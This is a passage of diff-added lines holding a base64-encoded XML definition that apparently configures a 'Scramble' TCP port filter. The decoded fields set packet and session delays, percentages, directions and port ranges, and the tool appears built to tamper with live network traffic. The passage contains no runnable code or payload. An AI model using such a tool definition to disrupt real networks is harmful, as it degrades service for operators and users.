+biBpcyByZWFjaGVkLjwvaGVscHRleHQ+DQogICAgICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAg
+ICAgICAgICAgPC9wYXJhbWV0ZXI+DQogICAgICAgICAgICA8cGFyYW1ldGVyIGZsYWc9InRkIj4N
+CiAgICAgICAgICAgICAgPGNhc2VzZW5zaXRpdmU+ZmFsc2U8L2Nhc2VzZW5zaXRpdmU+DQogICAg
+ICAgICAgICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9wYXJhbV90ZDwvbmN1cnNlaWQ+DQogICAgICAg
+ICAgICAgIDxuY3Vyc2VsYWJlbD5UaW1lIERlbGF5PC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAg
+ICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICA8dHlwZT5zdHJpbmc8L3R5cGU+DQogICAg
+ICAgICAgICAgICAgPHNpemU+MTU8L3NpemU+DQogICAgICAgICAgICAgICAgPHByaW1pdGl2ZT4w
+eDBGMDAwMDAzPC9wcmltaXRpdmU+DQogICAgICAgICAgICAgICAgPGFyZ251bWJlcj4xMTwvYXJn
+bnVtYmVyPg0KICAgICAgICAgICAgICAgIDxoZWxwdGV4dD5UaW1lIGJlZm9yZSBmaWx0ZXIgYWZm
+ZWN0cyBwYWNrZXRzLiAgVGhlIGZvcm1hdCBjYW4gYmUgc2Vjb25kcyBpLmUuIDM2MDAsIG9yIG9u
+ZSBjaGFyYWN0ZXIgc3BlY2lmaWVycyBmb3IgZGF5cywgaG91cnMsIG1pbnV0ZXMsIGFuZCBzZWNv
+bmRzIGkuZS4gMWQgMmggM20gNHMuPC9oZWxwdGV4dD4NCiAgICAgICAgICAgICAgPC9hdHRyaWJ1
+dGU+DQogICAgICAgICAgICA8L3BhcmFtZXRlcj4NCiAgICAgICAgICAgIDxwYXJhbWV0ZXIgZmxh
+Zz0idCI+DQogICAgICAgICAgICAgIDxjYXNlc2Vuc2l0aXZlPmZhbHNlPC9jYXNlc2Vuc2l0aXZl
+Pg0KICAgICAgICAgICAgICA8bmN1cnNlaWQ+c2NyYW1ibGVfcGFyYW1fdDwvbmN1cnNlaWQ+DQog
+ICAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5UaW1lIER1cmF0aW9uPC9uY3Vyc2VsYWJlbD4NCiAg
+ICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICA8dHlwZT5zdHJpbmc8L3R5
+cGU+DQogICAgICAgICAgICAgICAgPHNpemU+MTU8L3NpemU+DQogICAgICAgICAgICAgICAgPHBy
+aW1pdGl2ZT4weDBGMDAwMDAzPC9wcmltaXRpdmU+DQogICAgICAgICAgICAgICAgPGFyZ251bWJl
+cj4xMjwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgICAgIDxoZWxwdGV4dD5EdXJhdGlvbiBwYWNr
+ZXRzIHdpbGwgYmUgYWZmZWN0ZWQgYnkgZmlsdGVyLiAgVGhlIGZvcm1hdCBjYW4gYmUgc2Vjb25k
+cyBpLmUuIDM2MDAsIG9yIG9uZSBjaGFyYWN0ZXIgc3BlY2lmaWVycyBmb3IgZGF5cywgaG91cnMs
+IG1pbnV0ZXMsIGFuZCBzZWNvbmRzIGkuZS4gMWQgMmggM20gNHMuPC9oZWxwdGV4dD4NCiAgICAg
+ICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8L3BhcmFtZXRlcj4NCiAgICAgICAg
+ICAgIDxwYXJhbWV0ZXIgZmxhZz0ic2QiPg0KICAgICAgICAgICAgICA8Y2FzZXNlbnNpdGl2ZT5m
+YWxzZTwvY2FzZXNlbnNpdGl2ZT4NCiAgICAgICAgICAgICAgPG5jdXJzZWlkPnNjcmFtYmxlX3Bh
+cmFtX3NkPC9uY3Vyc2VpZD4NCiAgICAgICAgICAgICAgPG5jdXJzZWxhYmVsPlNlc3Npb24gRGVs
+YXk8L25jdXJzZWxhYmVsPg0KICAgICAgICAgICAgICA8YXR0cmlidXRlPg0KICAgICAgICAgICAg
+ICAgIDx0eXBlPnVpbnQzMjwvdHlwZT4NCiAgICAgICAgICAgICAgICA8c2l6ZT4xMTwvc2l6ZT4N
+CiAgICAgICAgICAgICAgICA8ZGVmYXVsdHZhbHVlPjA8L2RlZmF1bHR2YWx1ZT4NCiAgICAgICAg
+ICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMDM8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgICAg
+ICA8YXJnbnVtYmVyPjEzPC9hcmdudW1iZXI+DQogICAgICAgICAgICAgICAgPGhlbHB0ZXh0Pk51
+bWJlciBvZiBzZXNzaW9ucyB0byBpZ25vcmUgYmVmb3JlIGZpbHRlciBhZmZlY3RzIHBhY2tldHMu
+PC9oZWxwdGV4dD4NCiAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8L3Bh
+cmFtZXRlcj4NCiAgICAgICAgICAgIDxwYXJhbWV0ZXIgZmxhZz0icyI+DQogICAgICAgICAgICAg
+IDxjYXNlc2Vuc2l0aXZlPmZhbHNlPC9jYXNlc2Vuc2l0aXZlPg0KICAgICAgICAgICAgICA8bmN1
+cnNlaWQ+c2NyYW1ibGVfcGFyYW1fczwvbmN1cnNlaWQ+DQogICAgICAgICAgICAgIDxuY3Vyc2Vs
+YWJlbD5TZXNzaW9uIFBlcmNlbnRhZ2U8L25jdXJzZWxhYmVsPg0KICAgICAgICAgICAgICA8YXR0
+cmlidXRlPg0KICAgICAgICAgICAgICAgIDx0eXBlPnVpbnQzMjwvdHlwZT4NCiAgICAgICAgICAg
+ICAgICA8c2l6ZT4xMTwvc2l6ZT4NCiAgICAgICAgICAgICAgICA8ZGVmYXVsdHZhbHVlPjA8L2Rl
+ZmF1bHR2YWx1ZT4NCiAgICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMDM8L3ByaW1p
+dGl2ZT4NCiAgICAgICAgICAgICAgICA8YXJnbnVtYmVyPjE0PC9hcmdudW1iZXI+DQogICAgICAg
+ICAgICAgICAgPGhlbHB0ZXh0PlBlcmNlbnRhZ2Ugb2Ygc2Vzc2lvbnMgZmlsdGVyIHdpbGwgYWZm
+ZWN0LjwvaGVscHRleHQ+DQogICAgICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgICAg
+PC9wYXJhbWV0ZXI+DQogICAgICAgICAgICA8cGFyYW1ldGVyIGZsYWc9InNtIj4NCiAgICAgICAg
+ICAgICAgPGNhc2VzZW5zaXRpdmU+ZmFsc2U8L2Nhc2VzZW5zaXRpdmU+DQogICAgICAgICAgICAg
+IDxuY3Vyc2VpZD5zY3JhbWJsZV9wYXJhbV9zbTwvbmN1cnNlaWQ+DQogICAgICAgICAgICAgIDxu
+Y3Vyc2VsYWJlbD5NYXggU2Vzc2lvbnM8L25jdXJzZWxhYmVsPg0KICAgICAgICAgICAgICA8YXR0
+cmlidXRlPg0KICAgICAgICAgICAgICAgIDx0eXBlPnVpbnQzMjwvdHlwZT4NCiAgICAgICAgICAg
+ICAgICA8c2l6ZT4xMTwvc2l6ZT4NCiAgICAgICAgICAgICAgICA8ZGVmYXVsdHZhbHVlPjA8L2Rl
+ZmF1bHR2YWx1ZT4NCiAgICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMDM8L3ByaW1p
+dGl2ZT4NCiAgICAgICAgICAgICAgICA8YXJnbnVtYmVyPjE1PC9hcmdudW1iZXI+DQogICAgICAg
+ICAgICAgICAgPGhlbHB0ZXh0Pk1heGltdW0gbnVtYmVyIG9mIHNlc3Npb24gdG8gYWZmZWN0IGJl
+Zm9yZSBmaWx0ZXIgaXMgdGVybWluYXRlZC48L2hlbHB0ZXh0Pg0KICAgICAgICAgICAgICA8L2F0
+dHJpYnV0ZT4NCiAgICAgICAgICAgIDwvcGFyYW1ldGVyPg0KICAgICAgICAgICAgPHBhcmFtZXRl
+ciBmbGFnPSJwZCI+DQogICAgICAgICAgICAgIDxjYXNlc2Vuc2l0aXZlPmZhbHNlPC9jYXNlc2Vu
+c2l0aXZlPg0KICAgICAgICAgICAgICA8bmN1cnNlaWQ+c2NyYW1ibGVfcGFyYW1fcGQ8L25jdXJz
+ZWlkPg0KICAgICAgICAgICAgICA8bmN1cnNlbGFiZWw+UGFja2V0IERlbGF5PC9uY3Vyc2VsYWJl
+bD4NCiAgICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICA8dHlwZT51aW50
+MzI8L3R5cGU+DQogICAgICAgICAgICAgICAgPHNpemU+MTE8L3NpemU+DQogICAgICAgICAgICAg
+ICAgPGRlZmF1bHR2YWx1ZT4wPC9kZWZhdWx0dmFsdWU+DQogICAgICAgICAgICAgICAgPHByaW1p
+dGl2ZT4weDBGMDAwMDAzPC9wcmltaXRpdmU+DQogICAgICAgICAgICAgICAgPGFyZ251bWJlcj4x
+NjwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgICAgIDxoZWxwdGV4dD5OdW1iZXIgb2YgcGFja2V0
+cyB0byBpZ25vcmUgYmVmb3JlIGZpbHRlciBhZmZlY3RzIHBhY2tldHMuPC9oZWxwdGV4dD4NCiAg
+ICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8L3BhcmFtZXRlcj4NCiAgICAg
+ICAgICAgIDxwYXJhbWV0ZXIgZmxhZz0icCI+DQogICAgICAgICAgICAgIDxjYXNlc2Vuc2l0aXZl
+PmZhbHNlPC9jYXNlc2Vuc2l0aXZlPg0KICAgICAgICAgICAgICA8bmN1cnNlaWQ+c2NyYW1ibGVf
+cGFyYW1fcDwvbmN1cnNlaWQ+DQogICAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5QYWNrZXQgUGVy
+Y2VudGFnZTwvbmN1cnNlbGFiZWw+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAg
+ICAgICAgICAgPHR5cGU+dWludDMyPC90eXBlPg0KICAgICAgICAgICAgICAgIDxzaXplPjExPC9z
+aXplPg0KICAgICAgICAgICAgICAgIDxkZWZhdWx0dmFsdWU+MDwvZGVmYXVsdHZhbHVlPg0KICAg
+ICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwMzwvcHJpbWl0aXZlPg0KICAgICAgICAg
+ICAgICAgIDxhcmdudW1iZXI+MTc8L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAgICA8aGVscHRl
+eHQ+UGVyY2VudGFnZSBvZiBwYWNrZXRzIGZpbHRlciB3aWxsIGFmZmVjdC48L2hlbHB0ZXh0Pg0K
+ICAgICAgICAgICAgICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDwvcGFyYW1ldGVyPg0KICAg
+ICAgICAgICAgPHBhcmFtZXRlciBmbGFnPSJwbSI+DQogICAgICAgICAgICAgIDxjYXNlc2Vuc2l0
+aXZlPmZhbHNlPC9jYXNlc2Vuc2l0aXZlPg0KICAgICAgICAgICAgICA8bmN1cnNlaWQ+c2NyYW1i
+bGVfcGFyYW1fcG08L25jdXJzZWlkPg0KICAgICAgICAgICAgICA8bmN1cnNlbGFiZWw+TWF4IFBh
+Y2tldHM8L25jdXJzZWxhYmVsPg0KICAgICAgICAgICAgICA8YXR0cmlidXRlPg0KICAgICAgICAg
+ICAgICAgIDx0eXBlPnVpbnQzMjwvdHlwZT4NCiAgICAgICAgICAgICAgICA8c2l6ZT4xMTwvc2l6
+ZT4NCiAgICAgICAgICAgICAgICA8ZGVmYXVsdHZhbHVlPjA8L2RlZmF1bHR2YWx1ZT4NCiAgICAg
+ICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMDM8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAg
+ICAgICA8YXJnbnVtYmVyPjE4PC9hcmdudW1iZXI+DQogICAgICAgICAgICAgICAgPGhlbHB0ZXh0
+Pk1heGltdW0gbnVtYmVyIG9mIHBhY2tldHMgdG8gYWZmZWN0IGJlZm9yZSBmaWx0ZXIgaXMgdGVy
+bWluYXRlZC48L2hlbHB0ZXh0Pg0KICAgICAgICAgICAgICA8L2F0dHJpYnV0ZT4NCiAgICAgICAg
+ICAgIDwvcGFyYW1ldGVyPg0KICAgICAgICAgICAgPHBhcmFtZXRlciBmbGFnPSJkaXIiPg0KICAg
+ICAgICAgICAgICA8Y2FzZXNlbnNpdGl2ZT5mYWxzZTwvY2FzZXNlbnNpdGl2ZT4NCiAgICAgICAg
+ICAgICAgPG5jdXJzZWlkPnNjcmFtYmxlX3BhcmFtX2RpcjwvbmN1cnNlaWQ+DQogICAgICAgICAg
+ICAgIDxuY3Vyc2VsYWJlbD5EaXJlY3Rpb248L25jdXJzZWxhYmVsPg0KICAgICAgICAgICAgICA8
+YXR0cmlidXRlPg0KICAgICAgICAgICAgICAgIDx0eXBlPnVpbnQzMjwvdHlwZT4NCiAgICAgICAg
+ICAgICAgICA8c2l6ZT4xMTwvc2l6ZT4NCiAgICAgICAgICAgICAgICA8ZGVmYXVsdHZhbHVlPjA8
+L2RlZmF1bHR2YWx1ZT4NCiAgICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMDM8L3By
+aW1pdGl2ZT4NCiAgICAgICAgICAgICAgICA8YXJnbnVtYmVyPjE5PC9hcmdudW1iZXI+DQogICAg
+ICAgICAgICAgICAgPGhlbHB0ZXh0PlRoZSBkaXJlY3Rpb24gaW4gYSBjbGllbnQgc2VydmVyIGNv
+bm5lY3Rpb24gdGhhdCB0aGlzIGZpbHRlciBhcHBsaWVzIHRvLiAgSWYgZmxhZyBpcyBub3QgdXNl
+ZCwgYm90aCBkaXJlY3Rpb24gd2lsbCBiZSBmaWx0ZXJlZCBvbi4gIElmIDEgaXMgZW50ZXJlZCwg
+b25seSBjb25uZWN0aW9ucyBmcm9tIHRoZSBjbGllbnQgd2lsbCBiZSBmaWx0ZXJlZCBvbi4gIElm
+IDIsIG9ubHkgdGhvc2UgZnJvbSB0aGUgc2VydmVyLjwvaGVscHRleHQ+DQogICAgICAgICAgICAg
+IDwvYXR0cmlidXRlPg0KICAgICAgICAgICAgPC9wYXJhbWV0ZXI+DQogICAgICAgICAgICA8cGFy
+YW1ldGVyIGZsYWc9ImwiPg0KICAgICAgICAgICAgICA8Y2FzZXNlbnNpdGl2ZT5mYWxzZTwvY2Fz
+ZXNlbnNpdGl2ZT4NCiAgICAgICAgICAgICAgPG5jdXJzZWlkPnNjcmFtYmxlX3BhcmFtX2w8L25j
+dXJzZWlkPg0KICAgICAgICAgICAgICA8bmN1cnNlbGFiZWw+VENQIFBvcnQgTWluaW11bTwvbmN1
+cnNlbGFiZWw+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAgICAgICAgPHR5
+cGU+dWludDMyPC90eXBlPg0KICAgICAgICAgICAgICAgIDxzaXplPjExPC9zaXplPg0KICAgICAg
+ICAgICAgICAgIDxkZWZhdWx0dmFsdWU+MDwvZGVmYXVsdHZhbHVlPg0KICAgICAgICAgICAgICAg
+IDxwcmltaXRpdmU+MHgwRjAwMDAwQTwvcHJpbWl0aXZlPg0KICAgICAgICAgICAgICAgIDxhcmdu
+dW1iZXI+MjwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgICAgIDxoZWxwdGV4dD5NaW5pbXVtIHZh
+bHVlIGZvciB0Y3AgcG9ydCBhc3NpZ25tZW50LjwvaGVscHRleHQ+DQogICAgICAgICAgICAgIDwv
+YXR0cmlidXRlPg0KICAgICAgICAgICAgPC9wYXJhbWV0ZXI+DQogICAgICAgICAgICA8cGFyYW1l
+dGVyIGZsYWc9ImhpIj4NCiAgICAgICAgICAgICAgPGNhc2VzZW5zaXRpdmU+ZmFsc2U8L2Nhc2Vz
+ZW5zaXRpdmU+DQogICAgICAgICAgICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9wYXJhbV9oPC9uY3Vy
+c2VpZD4NCiAgICAgICAgICAgICAgPG5jdXJzZWxhYmVsPlRDUCBQb3J0IE1heGltdW08L25jdXJz
+ZWxhYmVsPg0KICAgICAgICAgICAgICA8YXR0cmlidXRlPg0KICAgICAgICAgICAgICAgIDx0eXBl
+PnVpbnQzMjwvdHlwZT4NCiAgICAgICAgICAgICAgICA8c2l6ZT4xMTwvc2l6ZT4NCiAgICAgICAg
+ICAgICAgICA8ZGVmYXVsdHZhbHVlPjA8L2RlZmF1bHR2YWx1ZT4NCiAgICAgICAgICAgICAgICA8
+cHJpbWl0aXZlPjB4MEYwMDAwMEE8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgICAgICA8YXJnbnVt
+YmVyPjM8L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAgICA8aGVscHRleHQ+TWF4aW11bSB2YWx1
+ZSBmb3IgdGNwIHBvcnQgYXNzaWdubWVudC48L2hlbHB0ZXh0Pg0KICAgICAgICAgICAgICA8L2F0
+dHJpYnV0ZT4NCiAgICAgICAgICAgIDwvcGFyYW1ldGVyPg0KICAgICAgICAgIDwvb3B0aW9uYWxf
+cGFyYW1ldGVycz4NCiAgICAgICAgPC9wYXJhbWV0ZXJzPg0KICAgICAgICA8bmN1cnNlc2xheW91
+dD4NCiAgICAgICAgICA8c2VjdGlvbj4NCiAgICAgICAgICAgIDxjb2x1bW4+DQogICAgICAgICAg
+ICAgIDx0aXRsZT5TY3JhbWJsZSB0Y3Bfc3JjcG9ydCBGaWx0ZXI8L3RpdGxlPg0KICAgICAgICAg
+ICAgPC9jb2x1bW4+DQogICAgICAgICAgPC9zZWN0aW9uPg0KICAgICAgICAgIDxzZWN0aW9uPg0K
+ICAgICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgICAgPGVsZW1lbnQ+c2NyYW1ibGVfY3Jl
+YXRlX2F0dHJpYl8xPC9lbGVtZW50Pg0KICAgICAgICAgICAgICA8ZWxlbWVudD5zY3JhbWJsZV9j
+cmVhdGVfYXR0cmliXzI8L2VsZW1lbnQ+DQogICAgICAgICAgICAgIDxlbGVtZW50PnNjcmFtYmxl
+X2NyZWF0ZV9hdHRyaWJfMzwvZWxlbWVudD4NCiAgICAgICAgICAgICAgPGVsZW1lbnQ+c2NyYW1i
+bGVfY3JlYXRlX2F0dHJpYl80PC9lbGVtZW50Pg0KICAgICAgICAgICAgPC9jb2x1bW4+DQogICAg
+ICAgICAgICA8Y29sdW1uPg0KICAgICAgICAgICAgICA8ZWxlbWVudD5zY3JhbWJsZV9jcmVhdGVf
+YXR0cmliXzU8L2VsZW1lbnQ+DQogICAgICAgICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX2NyZWF0
+ZV9hdHRyaWJfNjwvZWxlbWVudD4NCiAgICAgICAgICAgICAgPGVsZW1lbnQ+c2NyYW1ibGVfY3Jl
+YXRlX2F0dHJpYl83PC9lbGVtZW50Pg0KICAgICAgICAgICAgICA8ZWxlbWVudD5zY3JhbWJsZV9j
+cmVhdGVfYXR0cmliXzg8L2VsZW1lbnQ+DQogICAgICAgICAgICA8L2NvbHVtbj4NCiAgICAgICAg
+ICA8L3NlY3Rpb24+DQogICAgICAgICAgPHNlY3Rpb24+DQogICAgICAgICAgICA8Y29sdW1uPg0K
+ICAgICAgICAgICAgICA8ZWxlbWVudD5zY3JhbWJsZV9jcmVhdGVfYXR0cmliXzk8L2VsZW1lbnQ+
+DQogICAgICAgICAgICA8L2NvbHVtbj4NCiAgICAgICAgICAgIDxjb2x1bW4vPg0KICAgICAgICAg
+IDwvc2VjdGlvbj4NCiAgICAgICAgICA8c2VjdGlvbj4NCiAgICAgICAgICAgIDxjb2x1bW4+DQog
+ICAgICAgICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX3BhcmFtX2VuPC9lbGVtZW50Pg0KICAgICAg
+ICAgICAgPC9jb2x1bW4+DQogICAgICAgICAgICA8Y29sdW1uPg0KICAgICAgICAgICAgICA8ZWxl
+bWVudD5zY3JhbWJsZV9wYXJhbV9wczwvZWxlbWVudD4NCiAgICAgICAgICAgIDwvY29sdW1uPg0K
+ICAgICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgICAgPGVsZW1lbnQ+c2NyYW1ibGVfcGFy
+YW1fcjwvZWxlbWVudD4NCiAgICAgICAgICAgIDwvY29sdW1uPg0KICAgICAgICAgIDwvc2VjdGlv
+bj4NCiAgICAgICAgICA8c2VjdGlvbj4NCiAgICAgICAgICAgIDxjb2x1bW4+DQogICAgICAgICAg
+ICAgICAgPGVsZW1lbnQ+c2NyYW1ibGVfcGFyYW1fdGQ8L2VsZW1lbnQ+DQogICAgICAgICAgICA8
+L2NvbHVtbj4NCiAgICAgICAgICAgIDxjb2x1bW4+DQogICAgICAgICAgICAgICAgPGVsZW1lbnQ+
+c2NyYW1ibGVfcGFyYW1fdDwvZWxlbWVudD4NCiAgICAgICAgICAgIDwvY29sdW1uPg0KICAgICAg
+ICAgIDwvc2VjdGlvbj4NCiAgICAgICAgICA8c2VjdGlvbj4NCiAgICAgICAgICAgIDxjb2x1bW4+
+DQogICAgICAgICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX3BhcmFtX3NkPC9lbGVtZW50Pg0KICAg
+ICAgICAgICAgPC9jb2x1bW4+DQogICAgICAgICAgICA8Y29sdW1uPg0KICAgICAgICAgICAgICA8
+ZWxlbWVudD5zY3JhbWJsZV9wYXJhbV9zPC9lbGVtZW50Pg0KICAgICAgICAgICAgPC9jb2x1bW4+
+DQogICAgICAgICAgICA8Y29sdW1uPg0KICAgICAgICAgICAgICA8ZWxlbWVudD5zY3JhbWJsZV9w
+YXJhbV9zbTwvZWxlbWVudD4NCiAgICAgICAgICAgIDwvY29sdW1uPg0KICAgICAgICAgIDwvc2Vj
+dGlvbj4NCiAgICAgICAgICA8c2VjdGlvbj4NCiAgICAgICAgICAgIDxjb2x1bW4+DQogICAgICAg
+ICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX3BhcmFtX3BkPC9lbGVtZW50Pg0KICAgICAgICAgICAg
+PC9jb2x1bW4+DQogICAgICAgICAgICA8Y29sdW1uPg0KICAgICAgICAgICAgICA8ZWxlbWVudD5z
+Y3JhbWJsZV9wYXJhbV9wPC9lbGVtZW50Pg0KICAgICAgICAgICAgPC9jb2x1bW4+DQogICAgICAg
+ICAgICA8Y29sdW1uPg0KICAgICAgICAgICAgICA8ZWxlbWVudD5zY3JhbWJsZV9wYXJhbV9wbTwv
+ZWxlbWVudD4NCiAgICAgICAgICAgIDwvY29sdW1uPg0KICAgICAgICAgIDwvc2VjdGlvbj4NCiAg
+ICAgICAgICA8c2VjdGlvbj4NCiAgICAgICAgICAgIDxjb2x1bW4+DQogICAgICAgICAgICAgIDxl
+bGVtZW50PnNjcmFtYmxlX3BhcmFtX2RpcjwvZWxlbWVudD4NCiAgICAgICAgICAgIDwvY29sdW1u
+Pg0KICAgICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgICAgPGVsZW1lbnQ+c2NyYW1ibGVf
+cGFyYW1fbDwvZWxlbWVudD4NCiAgICAgICAgICAgIDwvY29sdW1uPg0KICAgICAgICAgICAgPGNv
+bHVtbj4NCiAgICAgICAgICAgICAgPGVsZW1lbnQ+c2NyYW1ibGVfcGFyYW1faDwvZWxlbWVudD4N
+CiAgICAgICAgICAgIDwvY29sdW1uPg0KICAgICAgICAgIDwvc2VjdGlvbj4NCiAgICAgICAgPC9u
+Y3Vyc2VzbGF5b3V0Pg0KICAgICAgPC9jbWQ+DQogICAgICA8Y21kIHRpdGxlPSJ0Y3AtZHN0cG9y
+dCI+DQogICAgICAgIDxoZWxwdGV4dD5DcmVhdGVzIGEgbmV3IHRjcC1kc3Rwb3J0IHJ1bGUgYmFz
+ZWQgb24gdGhlIHNwZWNpZmllZCBjcml0ZXJpYS48L2hlbHB0ZXh0Pg0KICAgICAgICA8cHJpbWl0
+aXZlcz4NCiAgICAgICAgICA8cmVxdWlyZWRfcHJpbWl0aXZlcz4NCiAgICAgICAgICAgIDxwcmlt
+aXRpdmU+MHgwRjAwMDAwMzwvcHJpbWl0aXZlPg0KICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBG
+MDAwMDBCPC9wcmltaXRpdmU+DQogICAgICAgICAgPC9yZXF1aXJlZF9wcmltaXRpdmVzPg0KICAg
+ICAgICAgIDxvcHRpb25hbF9wcmltaXRpdmVzPg0KICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBG
+MDAwMDA0PC9wcmltaXRpdmU+DQogICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMDU8L3By
+aW1pdGl2ZT4NCiAgICAgICAgICA8L29wdGlvbmFsX3ByaW1pdGl2ZXM+DQogICAgICAgIDwvcHJp
+bWl0aXZlcz4NCiAgICAgICAgPGF0dHJpYnV0ZXM+DQogICAgICAgICAgPHJlcXVpcmVkX2F0dHJp
+YnV0ZXM+DQogICAgICAgICAgICA8Y29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAgICAgIDxh
+dHRyaWJ1dGU+DQogICAgICAgICAgICAgICAgPG5jdXJzZWlkPnNjcmFtYmxlX2NyZWF0ZV9hdHRy
+aWJfMTwvbmN1cnNlaWQ+DQogICAgICAgICAgICAgICAgPG5jdXJzZWxhYmVsPlNvdXJjZSBJUDwv
+bmN1cnNlbGFiZWw+DQogICAgICAgICAgICAgICAgPHR5cGU+aXB2NDwvdHlwZT4NCiAgICAgICAg
+ICAgICAgICA8c2l6ZT4xNjwvc2l6ZT4NCiAgICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYw
+MDAwMDM8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgICAgICA8YXJnbnVtYmVyPjE8L2FyZ251bWJl
+cj4NCiAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8L2NvbW1hbmRfYXR0
+cmlidXRlPg0KICAgICAgICAgICAgPGNvbW1hbmRfYXR0cmlidXRlPg0KICAgICAgICAgICAgICA8
+YXR0cmlidXRlPg0KICAgICAgICAgICAgICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9jcmVhdGVfYXR0
+cmliXzI8L25jdXJzZWlkPg0KICAgICAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5Tb3VyY2UgTWFz
+azwvbmN1cnNlbGFiZWw+DQogICAgICAgICAgICAgICAgPHR5cGU+aXB2NDwvdHlwZT4NCiAgICAg
+ICAgICAgICAgICA8c2l6ZT4xNjwvc2l6ZT4NCiAgICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4
+MEYwMDAwMDM8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgICAgICA8YXJnbnVtYmVyPjI8L2FyZ251
+bWJlcj4NCiAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8L2NvbW1hbmRf
+YXR0cmlidXRlPg0KICAgICAgICAgICAgPGNvbW1hbmRfYXR0cmlidXRlPg0KICAgICAgICAgICAg
+ICA8bmN1cnNlaWQ+c2NyYW1ibGVfY3JlYXRlX2F0dHJpYl8zPC9uY3Vyc2VpZD4NCiAgICAgICAg
+ICAgICAgPG5jdXJzZWxhYmVsPlN0YXJ0IFNyYyBQb3J0PC9uY3Vyc2VsYWJlbD4NCiAgICAgICAg
+ICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICA8dHlwZT51aW50MzI8L3R5cGU+DQog
+ICAgICAgICAgICAgICAgPHNpemU+MTE8L3NpemU+DQogICAgICAgICAgICAgICAgPHByaW1pdGl2
+ZT4weDBGMDAwMDAzPC9wcmltaXRpdmU+DQogICAgICAgICAgICAgICAgPGFyZ251bWJlcj4zPC9h
+cmdudW1iZXI+DQogICAgICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgICAgPC9jb21t
+YW5kX2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDxjb21tYW5kX2F0dHJpYnV0ZT4NCiAgICAgICAg
+ICAgICAgPG5jdXJzZWlkPnNjcmFtYmxlX2NyZWF0ZV9hdHRyaWJfNDwvbmN1cnNlaWQ+DQogICAg
+ICAgICAgICAgIDxuY3Vyc2VsYWJlbD5FbmQgU3JjIFBvcnQ8L25jdXJzZWxhYmVsPg0KICAgICAg
+ICAgICAgICA8YXR0cmlidXRlPg0KICAgICAgICAgICAgICAgIDx0eXBlPnVpbnQzMjwvdHlwZT4N
+CiAgICAgICAgICAgICAgICA8c2l6ZT4xMTwvc2l6ZT4NCiAgICAgICAgICAgICAgICA8cHJpbWl0
+aXZlPjB4MEYwMDAwMDM8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgICAgICA8YXJnbnVtYmVyPjQ8
+L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8L2Nv
+bW1hbmRfYXR0cmlidXRlPg0KICAgICAgICAgICAgPGNvbW1hbmRfYXR0cmlidXRlPg0KICAgICAg
+ICAgICAgICA8YXR0cmlidXRlPg0KICAgICAgICAgICAgICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9j
+cmVhdGVfYXR0cmliXzU8L25jdXJzZWlkPg0KICAgICAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5E
+ZXN0aW5hdGlvbiBJUDwvbmN1cnNlbGFiZWw+DQogICAgICAgICAgICAgICAgPHR5cGU+aXB2NDwv
+dHlwZT4NCiAgICAgICAgICAgICAgICA8c2l6ZT4xNjwvc2l6ZT4NCiAgICAgICAgICAgICAgICA8
